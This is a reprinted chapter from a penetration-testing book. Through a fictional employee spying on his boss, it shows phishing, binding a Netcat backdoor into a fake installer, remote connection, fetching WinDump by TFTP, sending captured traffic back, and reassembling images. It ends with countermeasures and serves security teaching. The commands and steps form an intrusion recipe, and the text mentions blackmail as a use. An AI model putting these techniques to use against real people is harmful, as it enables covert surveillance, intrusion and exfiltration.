| Home > Chained Exploits: How to prevent phishing attacks from corporate spies | |
| Book Chapter: |
|
||
Do you ever wonder if there's a spy on your own computer? In this book chapter, authors Keatron Evans, Andrew Whitaker and Jack B. Voth reveal how attackers can create fake websites and phishing scams that trick employees -- even your boss -- into downloading malicious Trojans that monitor your computer activity. Throughout the rest of the book, the authors offer more true-life lessons learned from their penetration testing work. See sidebar below to listen to an interview with the author.
Chained Exploits: Advanced Hacking Attacks from Start to Finish:
Table of contents: Download Chapter 2 of "Chained Exploits" as a .pdf
SETTING THE STAGE
Phoenix knows that Mr.Minutia has been spying on him for some time now. Phoenix sees Mr.Minutia at his desk, shuffling through papers, whenever he leaves his desk to go to the copy machine. Phoenix notices Mr.Minutia walk over to his desk whenever he is on the phone to eavesdrop on his conversations. Now Mr.Minutia has taken it to the next step by reading all of Phoenix's e-mails and reviewing the Web sites Phoenix views. The word hypocrite echoes in Phoenix's mind. He knows his boss spends the majority of his time at work surfing the Internet. Phoenix is not sure what his boss is looking at, but Phoenix is determined to find out because he suspects it might not be work related. Then Phoenix can approach Mr.Minutia with a taste of his own medicine and expose his Internet-surfing habits. Phoenix begins to plot how he is going to spy on his boss. Figure 2.1 illustrates Phoenix's office scenario.
THE APPROACH Most networks use switches, but switches send traffic to and from only the devices that need to communicate with each other. Other devices would not necessarily be privy to communication between other computers, so Phoenix will not be able to see this traffic without a planned attack. To understand Phoenix's attack method, you need to understand how switches work. In Figure 2.2, when User A sends a frame to User B, the switch records the source MAC (Media Access Control) address of User A in its MAC address table. It then looks up the destination MAC address (User B) in its table. If it does not have the destination MAC address in its table, the switch forwards the frame out all ports (Fa0/2 and Fa0/3, in this example).
If you are User C and you want to see the traffic between User A and User B, there are several loud methods you can undertake:
You can learn more about these loud methods in the next section, but Phoenix's approach is different. As an alternative to the loud approach, Phoenix can take a quieter approach to avoid detection. Because Phoenix wants to capture the traffic of only a single user (his boss), Phoenix does not need to perform ARP poisoning, MAC spoofing, or MAC flooding. Instead, Phoenix needs to chain several exploits to get Mr.Minutia inadvertently to install packet capturing software on his computer. His boss will not blindly install software he does not recognize, so Phoenix will first set up a phishing scam to trick his boss into installing software he thinks is legitimate. A phishing scam is when a user is tricked to go to a Web site that looks like a legitimate Web site, but in fact is run by a malicious hacker. Phishing scams are often used to capture login information because the user logs in to the Web site thinking it is a trusted site, but Phoenix's will use the scam to have his manager download software that appears legitimate. The software Mr.Minutia downloads from the phishing site will be bound with a Trojan horse application that Phoenix will use to establish a backdoor into his manager's computer. His boss will have no idea that the Trojan is installed. After connecting, Phoenix will use the Trivial File Transfer Protocol (TFTP) to download a command-line packet-capturing tool. This tool will capture traffic to a log file that Phoenix will transfer back to his computer. Back on his computer, Phoenix will open up the log file and see what his boss is doing. Because his boss will have transferred images as well as text across the network, Phoenix will reassemble the image file using a hex editor so that he can see the pictures his boss is viewing. In summary, the steps Phoenix will take are:
FOR MORE INFORMATION
This list is by no means exhaustive. There are other techniques including variations of ARP poisoning and port mirroring (SPAN [switched port analyzer]). For more information on those, you can see Chapter 10, "Attacking the Network," in the book Penetration Testing and Network Defense by Andrew Whitaker and Daniel P. Newman (Cisco Press, 2006). Figure 2.4 illustrates the first method, ARP poisoning. Here Phoenix sends out a gratuitous ARP message for each of the hosts that he wants to monitor. A gratuitous ARP is an unsolicited ARP message. Normally if UserA wanted to communicate to UserB (10.0.0.12), it would first send out an ARP request to the network asking for the MAC address of 10.0.0.12. Upon hearing the ARP request, UserB would send out an ARP reply with its MAC address. Phoenix can intercept all traffic sent to UserB by sending out an unsolicited ARP response announcing Phoenix's MAC address for 10.0.0.12. Phoenix can view the traffic going to other hosts by sending gratuitous ARP messages for each of the hosts on the network. The second method—a variation of ARP poisoning—is to spoof the MAC address of a host (see Figure 2.5). This is commonly done for the default gateway, or router, on a network. In this example, Phoenix (UserC) spoofs the MAC address of the router. Whenever Phoenix hears an ARP request for 10.0.0.1, he replies with the same MAC address of the router. When a frame is sent from UserA to the Internet, it will go to the MAC address 0040:5B50:387E. The switch, seeing the router's MAC address go out both Fa0/3 and Fa0/4, sends the frame to both the router and Phoenix's computer. This approach will not show Phoenix all the traffic on your network, but it will show him the traffic destined out of your network.
Although these three methods are too loud for Phoenix's purposes, they do serve to highlight some fundamentals of switched traffic that attackers can exploit. The next section begins the detailed discussion of Phoenix's chained exploit.
THE CHAINED EXPLOIT
The section ends with a summary of this chained exploit.
PHISHING SCAM
Copying a Legitimate Web Site Note: certificationpractice.com is not a real Web site at the time of this writing. It is simply used for illustration purposes in this chapter. To begin, Phoenix needs to copy down the Web site to his own Web server. One of the more popular utilities for doing this is Wget (www.gnu.org/software/wget/). Wget is a command-line utility with many powerful options (see www.gnu.org/software/wget/ manual/wget.html for a list of options). In Phoenix's case, he chooses the following syntax: wget -m -r -l 12 www.certificationpractice.com The switches do the following:
This command results in copying the Web site to a directory called www.certification practice.com on his local hard drive. This also saves a copy of the ccna.exe executable (see Figure 2.8), which he will bind with a Trojan. Like many install executables, this software is a zipped executable. Instead of doubleclicking the executable, Phoenix unzips it using WinZip. Figure 2.9 shows an example of right-clicking the executable, which brings up a menu with an option to extract the files. Phoenix needs to extract them because he will be using the files contained in the zipped executable to create a new executable wrapped with the back door utility. After extracting the files, Phoenix renames setup.exe file to another name, such as backup.exe. Phoenix will be creating a new setup.exe later.
INSTALLING EXECUTABLES
Binding the Back Door Trojan with the Executable On starting YAB, Phoenix sees the screen shown in Figure 2.10. Phoenix clicks the plus sign to bring up the Add Bind File Command screen shown in Figure 2.11. Phoenix sets up the options in Table 2.1 to prepare his Trojan for binding: Table 2.1 Yet Another Binder Option
Optionally, Phoenix can select to launch the Trojan again when the computer starts up by setting the Registry Startup Method option. For example, Phoenix can configure it to load in HKEY_LOCAL_MACHINEMicrosoftWindowsCurrent VersionRun so that the Trojan will launch every time the computer starts. The default value is not to modify the Registry. Phoenix clicks OK after he finishes configuring Netcat. Next Phoenix adds the legitimate program by clicking the plus sign again to add it. He selects Execute File in the Select command to add a drop-down box (see Figure 2.12). He enters the complete path to the backup.exe executable file, leaves the other options at their default, and then clicks OK. Before Phoenix binds the two files together, he first makes sure that all traces of the Netcat executable will be removed after it launches. This helps to prevent users from detecting his malware on their computer. Trojan wrappers often have this option to melt, or remove, all traces of the malware executable after the software is running in RAM. Although choosing to melt the file is ideal to avoid detection, it does have a side effect: If the file is gone, Phoenix cannot launch it again when the computer starts up. He chooses to melt Netcat by going to the Options menu and choosing Melt Stub After Execution (see Figure 2.13). To make this Trojan appear legitimate, Phoenix selects an icon that looks like a standard install program. In the Icon Preview box, he clicks (none) to bring up the Change Icon dialog box. From here, he chooses an icon that looks like a standard install program. Icon 7 and Icon 8 are two good options (see Figure 2.14). Now Phoenix is ready to bind the stub (Netcat) to the executable (backup.exe). He clicks the Bind File button. He now has his Trojan program, which he saves as setup.exe. Because the installation is dependent on many other files, Phoenix needs to create a self-extracting archive that bundles all the files necessary for installation. He launches WinZip Self-Extractor and chooses Self-extracting Zip file for Software Installation (see Figure 2.15). Phoenix selects Unzip automatically (see Figure 2.16) so that the archiving is transparent to the user. When the wizard prompts him for the name of the executable to launch when the unzipping process is complete, he chooses setup.exe (see Figure 2.17). When his boss launches the CCNA program, it will unzip the files and run setup.exe, which will install both the legitimate practice test software and Netcat. Netcat will run in the background and listen for incoming connections on TCP (Transmission Control Protocol) port 50.
SETTING UP THE PHISHING SITE WARNING: By reusing the same Web site, Phoenix has broken copyright law. In addition, he might face further prosecution for any other instances of people downloading and running the malware that he created.
SENDING MR. MINUTIA AN E-MAIL Although Phoenix could send an e-mail using his e-mail client at his workplace, this would make it easy for him to be tracked down in the event that someone does look in the e-mail header. To cover his tracks, he uses an anonymous e-mail service such as mail.com. His steps, then, are as follows:
NOTE: If a hacker wants further protection, the hacker can go through an anonymous proxy server. Anonymization.net and TorPark are two such proxies. Next, Phoenix uses the mail.com instructions to configure his e-mail client. He decides on Outlook Express.
Subject: Free CCNA Practice Test Software Dear Mr. Minutia, Download your free CCNA practice test today while it lasts! As an IT professional, you know being industry certified dramatically increases your net worth, your technical ability within your organization, and recognition from your colleagues. Our research has shown that professionals with the CCNA certification earn 15% more on average than those without the certification. For a limited time, Certification Practice Exams is pleased to offer all registered cisco.com users free CCNA practice test software.This is a $129 value! Why would we be willing to give away so much free? It's simple. When you use our software to pass the CCNA exam on your first try, we're confident Certification Practice Exams will be your destination for future Cisco certification practice tests.We ask only that, after you pass your exam, you consider us for all future practice test needs. To download your free CCNA practice test, go to http://www.certificationpractice.com/ccna and click the CCNA.exe link.
Sincerely, You might have noticed that the Web site URL is for the legitimate Web site and not the new phishing Web site that Phoenix created. This is intentional. Although Phoenix could have put in his domain name, a good phishing scam appears as legitimate as possible. This e-mail references the original Web site, but Phoenix has changed the HTML code to link to the phishing site. To do this, Phoenix goes to the source code of the e-mail and changes the link to point to his Web site at http://www.certificationpractice.com/ccna (see Figure 2.18). That way the e-mail text refers to the real Web site, but the code directs Phoenix's boss to the fake Web site. When he's on Phoenix's Web site, Mr.Minutia will probably never notice that the Web site is different. And, even if he does, it is close enough to the real Web site domain that he probably will not even care. To further encourage his boss, Phoenix approaches him and mentions that he has been thinking about going for the CCNA certification. By mentioning this certification, Phoenix drops a subtle suggestion in his boss's mind about the certification exam. Gentle suggestions can go a long way toward social engineering the boss into downloading this software. Phoenix remarks, "I received an e-mail from one of those practice test companies today. Did you get one? I haven't checked it out yet, but it looks like a really good site." Because Mr.Minutia is a competitive person by nature, Phoenix takes this a step further and entices him to download the software by saying, "You know, I bet you I'll finish my CCNA before you. I think I'll go looking for some practice exam software tonight to start preparing." Phoenix sends the e-mail, sits back, and waits. After he receives the e-mail, Mr.Minutia will be enticed to download Phoenix's software. Both the legitimate practice test and Netcat will install on Mr.Minutia's machine during the installation process. Netcat will be listening on port 50 for Phoenix's boss's machine to connect.
FINDING THE BOSS'S COMPUTER Now that Phoenix has a list of hosts on the network, he can use a port scanner to determine which hosts are listening on port 50 (the port he configured Netcat to listen on). Phoenix chooses Angry IP Scanner. Figure 2.20 shows the output of its port scanner. Notice that port 50, the port he specified Netcat to listen on, is open.
CONNECTING TO THE BOSS'S COMPUTER nc 192.168.1.5 50 Phoenix verifies the connection to his boss's computer using the built-in ipconfig utility. It shows 192.168.1.5 (the IP address of his boss's computer), so he successfully connected to Mr.Minutia's computer (as shown in Figure 2.21). Phoenix's next step is to download a packet-capturing software program onto Mr. Minutia's machine. He decides on a command-line program because he cannot view a graphical user interface (GUI) remotely with Netcat. Because Windows comes with a TFTP client, Phoenix can set up a TFTP server on his computer and download a packetcapturing software program onto Mr.Minutia's computer. Phoenix uses the TFTP server available at Sysinternals (www.sysinternals.com). Phoenix prefers this software because it is free and he does not need to perform any configuration; simply launching the program is enough. Phoenix also downloads WinDump (www.winpcap.org/windump), a popular packet-capturing program, and places it in the TFTP-Root directory (the default directory used by Sysinternals TFTP server program). Phoenix goes back to the Netcat connection on his boss's computer. From there, he downloads WinDump from his computer. The syntax for the Windows TFTP client is: tftp [-i] host [put | get] source destination The -i switch configures the TFTP client to do a binary transfer (WinDump is a binary file, so this is the appropriate option to use). Phoenix's IP address is 192.168.1.6, so he types the following on his boss's computer to download WinDump: tftp -i 192.168.1.6 get windump.exe windump.exe Next Phoenix launches WinDump, which has many options. The options are case sensitive, so he needs to be careful when typing in commands so that he does not mistype and cause the program to hang. Phoenix is concerned only about the following options:
windump -c 500 -s 1500 -w capture.log Now the waiting game begins. Phoenix must wait until his boss sends or receives 500 packets. Phoenix knows when this occurs because WinDump stops running and returns him to a command prompt.
WINPCAP If the network manager does not have WinPcap installed, Phoenix must copy the files and manually install them. Normally, WinPcap uses a graphical install, but using Netcat to connect to a command-line interface of his boss's computer will not allow Phoenix to view a graphical install utility. In the event that Phoenix has to install WinPcap using the command line, he takes the following steps:
ANALYZING THE PACKET CAPTURE tftp -i put 192.168.1.6 capture.log
Now Phoenix starts to see something interesting. Notice in the highlighted portion that there is an HTTP (HyperText Transfer Protocol) request to GET a file called gambling.jpg. Could it be that his boss is going to gambling sites during work hours? To find out, Phoenix must follow the TCP stream and reassemble the file. By right-clicking the HTTP GET request, Phoenix can choose the option follow TCP stream. Doing so brings up the window shown in Figure 2.23. The beginning of this output shows an HTTP GET request followed by the response from a Web server. His boss was apparently browsing the Web during the time Phoenix was capturing packets. Phoenix wants to see any graphics that were on the Web page his boss was looking at. Unfortunately, graphics are binary files, so he will not be able to view the image. Phoenix isn't worried, though, because he can reassemble the image using a hex editor.
REASSEMBLING THE GRAPHICS This does not look like much just yet, but he will soon re-create the image into its original form. Phoenix knows that he must first remove the HTTP GET request header and leave only the graphics (if there was more HTTP code after the graphics, he would have to remove that as well). To do this, he must remove everything before the start of the binary graphic file. JPEG graphics start with the characters ÿøÿà. Using his mouse, Phoenix highlights all the text in the third column up to ÿøÿà. To remove the HTTP header, he selects the text to remove and then presses Ctrl-x to cut it out of the file. He now has the source graphics file, so he can go to the File menu and choose Save As (shown in Figure 2.25). Next, he opens up the image he just reassembled (see Figure 2.26). Aha! It appears his boss might have been looking at an online gambling site during work hours. Phoenix has now confirmed that his boss is setting a double standard: Mr. Minutia expects Phoenix not to surf the Internet during work hours when Phoenix has just confirmed that Mr.Minutia is guilty of surfing the Internet himself. Armed with this knowledge, Phoenix can use it for social engineering, blackmail, or just to joke about it with his coworkers. Phoenix prints out the image and leaves a copy of it on his boss's desk the next morning before the boss arrives. Later that day, a memo is sent to all employees saying that Internet usage will no longer be monitored. Phoenix grins as he realizes his plan worked; his boss was caught and will no longer be monitoring his Web surfing.
FILE HEADERS IN HEXADECIMAL OUTPUT
OTHER POSSIBILITIES Perhaps instead of online gambling or Internet porn, Phoenix might have been able to capture his boss sending a plaintext password to a Web-based e-mail site. With that password Phoenix could log in as his boss and send e-mails to Mr.Minutia's friends in his contacts list with lies about him, such as how he wants to confess his drug and alcohol addiction or how he is having an affair. The possibilities of what Phoenix might discover while spying on his boss are limitless.
CHAINED EXPLOIT SUMMARY
COUNTERMEASURES
COUNTERMEASURES FOR PHISHING SCAMS The human safeguard is training. Offer routine training, post signs, and train all new employees on the dangers of social engineering tactics. Train them not to open e-mails from people they do not know and not to visit Web sites that appear suspicious. Explain that they must be especially wary of any e-mails that instruct them to download software from a Web site they are not familiar with. Technical safeguards include installing spam filters and anti-phishing solutions. Most phishing scams, including the one used in this chapter, are sent in the form of spam. Having both a central spam filter for all incoming e-mail as well as spam filters on users' computers will help to protect against these attacks. The other technical safeguard, antiphishing solutions, can help to some extent but are not the end-all solution. Both Internet Explorer 7.0 and Mozilla Firefox 2.0 contain anti-phishing measures. You can also install anti-phishing toolbars from Web sites such as Netcraft.com.
COUNTERMEASURES FOR TROJAN HORSE APPLICATIONS The technical solution is twofold. First, make sure you have the latest signatures for your anti-virus software. Most anti-virus software solutions detect Netcat. However, variants of Netcat are constantly coming out. One example is Cryptcat (http://farm9.org/Cryptcat/), which is an encrypted version of Netcat. Also there are underground organizations that will, for a price, alter any program you have (such as Netcat) so that it does not match any known signature. For example, EliteC0ders was known for altering executables to make them undetectable. According to its Web site (www.elitec0ders.net/), it no longer offers this service. Second, use a group policy across your domain that prevents users from installing software on their computers. Although some users (especially management) might not like this, you can help minimize complaints by reassuring them that protecting themselves and the company against attacks is in their best interest.
COUNTERMEASURES FOR PACKET-CAPTURING SOFTWARE Nevertheless, you can do a few things to protect against packet capturing. First, to protect against the loud attacks discussed in the "For More Information" section earlier, use switches with port security turned on. Port security protects against ARP poisoning, MAC spoofing, and MAC flooding by allowing only certain MAC addresses to connect to a given port on a switch. Second, use an IPS to alert you and actively protect against any type of ARP poisoning or MAC flooding. An IPS can alert you should an attacker try to capture traffic on a network. Third, you can use an application such as PromiScan (www.securityfriday.com/ products/promiscan.html), which scans your network to see whether any hosts have set their interface to operate in promiscuous mode. Packet-capturing software applications often set the network interface card to run in promiscuous mode, so utilities such as PromiScan might alert you to anyone running packet-capturing software on your network. Finally, use host-based intrusion detection software, such as Cisco Secure Agent, or firewall software that will alert you anytime a new application is attempting to launch. This could warn you that someone is trying to run packet-capturing software on your computer.
CONCLUSION Reproduced from the book Chained Exploits: Advanced Hacking Attacks from Start to Finish Copyright [2009], Addison Wesley Professional. Reproduced by permission of Pearson Education, Inc., 800 East 96th Street, Indianapolis, IN 46240. Written permission from Pearson Education, Inc. is required for all other users.
'); // -->
|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|||||||||||||||||||||||||||
|
||||||||||